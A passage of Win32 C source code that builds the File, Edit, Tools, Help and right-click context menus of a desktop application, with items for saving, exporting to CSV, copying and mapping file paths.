	mii.dwTypeData = "Save Selected...\tCtrl+Shift+S";
	mii.cch = 29;
	mii.wID = MENU_SAVE_SEL;
	InsertMenuItemA( hMenuSub_file, 3, TRUE, &mii );

	mii.fType = MFT_SEPARATOR;
	InsertMenuItemA( hMenuSub_file, 4, TRUE, &mii );

	mii.fType = MFT_STRING;
	mii.dwTypeData = "Export to CSV...\tCtrl+E";
	mii.cch = 23;
	mii.wID = MENU_EXPORT;
	InsertMenuItemA( hMenuSub_file, 5, TRUE, &mii );

	mii.fType = MFT_SEPARATOR;
	InsertMenuItemA( hMenuSub_file, 6, TRUE, &mii );

	mii.fType = MFT_STRING;
	mii.dwTypeData = "E&xit";
	mii.cch = 5;
	mii.wID = MENU_EXIT;
	mii.fState = MFS_ENABLED;
	InsertMenuItemA( hMenuSub_file, 7, TRUE, &mii );

	// EDIT MENU
	mii.fType = MFT_STRING;
	mii.dwTypeData = "Remove Selected\tCtrl+R";
	mii.cch = 22;
	mii.wID = MENU_REMOVE_SEL;
	mii.fState = MFS_DISABLED;
	InsertMenuItemA( hMenuSub_edit, 0, TRUE, &mii );

	mii.fType = MFT_SEPARATOR;
	InsertMenuItemA( hMenuSub_edit, 1, TRUE, &mii );

	mii.fType = MFT_STRING;
	mii.dwTypeData = "Copy Selected\tCtrl+C";
	mii.cch = 20;
	mii.wID = MENU_COPY_SEL;
	InsertMenuItemA( hMenuSub_edit, 2, TRUE, &mii );

	mii.fType = MFT_SEPARATOR;
	InsertMenuItemA( hMenuSub_edit, 3, TRUE, &mii );

	mii.fType = MFT_STRING;
	mii.dwTypeData = "Select All\tCtrl+A";
	mii.cch = 17;
	mii.wID = MENU_SELECT_ALL;
	InsertMenuItemA( hMenuSub_edit, 4, TRUE, &mii );

	// TOOLS MENU
	mii.fType = MFT_STRING;
	mii.dwTypeData = "Map File Paths...\tCtrl+M";
	mii.cch = 24;
	mii.wID = MENU_SCAN;
	InsertMenuItemA( hMenuSub_tools, 0, TRUE, &mii );

	// HELP MENU
	mii.dwTypeData = "&About";
	mii.cch = 6;
	mii.wID = MENU_ABOUT;
	mii.fState = MFS_ENABLED;
	InsertMenuItemA( hMenuSub_help, 0, TRUE, &mii );

	// MENU BAR
	mii.fMask = MIIM_TYPE | MIIM_SUBMENU;
	mii.dwTypeData = "&File";
	mii.cch = 5;
	mii.hSubMenu = hMenuSub_file;
	InsertMenuItemA( g_hMenu, 0, TRUE, &mii );

	mii.dwTypeData = "&Edit";
	mii.cch = 5;
	mii.hSubMenu = hMenuSub_edit;
	InsertMenuItemA( g_hMenu, 1, TRUE, &mii );

	mii.dwTypeData = "&Tools";
	mii.cch = 6;
	mii.hSubMenu = hMenuSub_tools;
	InsertMenuItemA( g_hMenu, 2, TRUE, &mii );

	mii.dwTypeData = "&Help";
	mii.cch = 5;
	mii.hSubMenu = hMenuSub_help;
	InsertMenuItemA( g_hMenu, 3, TRUE, &mii );

	// CONTEXT MENU (for right click)
	mii.fMask = MIIM_TYPE | MIIM_ID | MIIM_STATE;
	mii.fState = MFS_DISABLED;
	mii.dwTypeData = "Save Selected...";
	mii.cch = 16;
	mii.wID = MENU_SAVE_SEL;
	InsertMenuItemA( g_hMenuSub_context, 0, TRUE, &mii );

	mii.fType = MFT_SEPARATOR;
	InsertMenuItemA( g_hMenuSub_context, 1, TRUE, &mii );

	mii.fType = MFT_STRING;
	mii.dwTypeData = "Remove Selected";
	mii.cch = 15;
	mii.wID = MENU_REMOVE_SEL;
	InsertMenuItemA( g_hMenuSub_context, 2, TRUE, &mii );

	mii.fType = MFT_SEPARATOR;
	InsertMenuItemA( g_hMenuSub_context, 3, TRUE, &mii );

	mii.fType = MFT_STRING;
	mii.dwTypeData = "Copy Selected";
	mii.cch = 13;
	mii.wID = MENU_COPY_SEL;
	InsertMenuItemA( g_hMenuSub_context, 4, TRUE, &mii );

	mii.fType = MFT_SEPARATOR;
	InsertMenuItemA( g_hMenuSub_context, 5, TRUE, &mii );

	mii.fType = MFT_STRING;
	mii.dwTypeData = "Select All";
	mii.cch = 10;
	mii.wID = MENU_SELECT_ALL;
	InsertMenuItemA( g_hMenuSub_context, 6, TRUE, &mii );
}